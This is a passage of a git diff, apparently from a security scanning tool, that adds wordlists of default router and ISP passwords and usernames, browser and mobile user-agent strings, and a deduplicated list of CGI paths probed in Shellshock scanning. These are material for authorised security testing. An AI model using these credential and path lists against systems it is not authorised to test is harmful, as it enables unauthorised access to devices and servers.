+Techni1789#
+telecomadmin
+telekom
+telekomst
+TELMEX
+telstra
+Telstra
+telus
+test
+tmadmin
+tot
+trendchip
+trustpower
+ttnet
+ubnt
+unknown
+user
+User
+useradmin
+userEp
+utstar
+VF-IRhg556
+vivo12345
+vodafone
+voo
+webadmin
+Xavi
+zain
+zhone
+ziggo
+zoomadsl
+ZXDSL
\ No newline at end of file
diff --git a/data/txt/default_usernames.txt b/data/txt/default_usernames.txt
new file mode 100644
index 0000000000..7020ac13de
--- /dev/null
+++ b/data/txt/default_usernames.txt
@@ -0,0 +1,14 @@
+!root
+111111
+1234
+123456
+admin
+admin1
+administrator
+anonymous
+cisco
+root
+r00t
+test
+webadmin
+user
\ No newline at end of file
diff --git a/data/txt/mobile-user-agents.txt b/data/txt/mobile-user-agents.txt
new file mode 100644
index 0000000000..a11621b200
--- /dev/null
+++ b/data/txt/mobile-user-agents.txt
@@ -0,0 +1,14 @@
+# Smartphone HTTP User-Agent headers offered by the '--mobile' switch.
+# One device per line, as "nameuser-agent" - the name is what the menu lists, so the two
+# cannot drift apart. The default is marked with a leading '*'.
+Apple iPhone 15 Pro Max * Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1
+BlackBerry Z10 Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+
+Google Nexus 7 Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
+Google Pixel 9 Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36
+HP iPAQ 6365 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)
+HTC One X2 Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36
+Huawei Honor 90 Pro Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36
+Microsoft Lumia 950 XL Mozilla/5.0 (Windows Mobile 10; Android 10.0; Microsoft; Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603
+Nokia N97 Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344
+Samsung Galaxy A54 Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36
+Xiaomi Redmi 15C Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn
diff --git a/src/txt/shocker-cgi_list.txt b/data/txt/shocker-cgi_list.txt
similarity index 98%
rename from src/txt/shocker-cgi_list.txt
rename to data/txt/shocker-cgi_list.txt
index de1f14c0da..4cf8f35dd6 100644
--- a/src/txt/shocker-cgi_list.txt
+++ b/data/txt/shocker-cgi_list.txt
@@ -165,7 +165,6 @@
/cgi-bin/lookwho.cgi
/cgi-bin/lwgate.cgi
/cgi-bin/MachineInfo
-/cgi-bin/MachineInfo
/cgi-bin/magiccard.cgi
/cgi-bin/mail/emumail.cgi
/cgi-bin/maillist.cgi
@@ -244,8 +243,6 @@
/cgi-bin/smartsearch.cgi
/cgi-bin/smartsearch/smartsearch.cgi
/cgi-bin/snorkerz.bat
-/cgi-bin/snorkerz.bat
-/cgi-bin/snorkerz.cmd
/cgi-bin/snorkerz.cmd
/cgi-bin/sojourn.cgi
/cgi-bin/spin_client.cgi
@@ -332,14 +329,11 @@
/ez2000/ezboard.cgi
/ez2000/ezman.cgi
/fcgi-bin/echo
-/fcgi-bin/echo
-/fcgi-bin/echo2
/fcgi-bin/echo2
/Gozila.cgi
/hitmatic/analyse.cgi
/hp_docs/cgi-bin/index.cgi
/html/cgi-bin/cgicso
-/html/cgi-bin/cgicso
/index.cgi
/info.cgi
/infosrch.cgi
@@ -373,7 +367,6 @@
/sample04.cgi
/sampleposteddata.cgi
/scancfg.cgi
-/scancfg.cgi
/servers/link.cgi
/setpasswd.cgi
/SetSecurity.shm
@@ -400,3 +393,4 @@
/wwwadmin.cgi
/wwwboard.cgi
/wwwboard/wwwboard.cgi
+/cgi-bin/
\ No newline at end of file
diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt
new file mode 100644
index 0000000000..4a4864effb
--- /dev/null
+++ b/data/txt/user-agents.txt
@@ -0,0 +1,187 @@
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
+Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
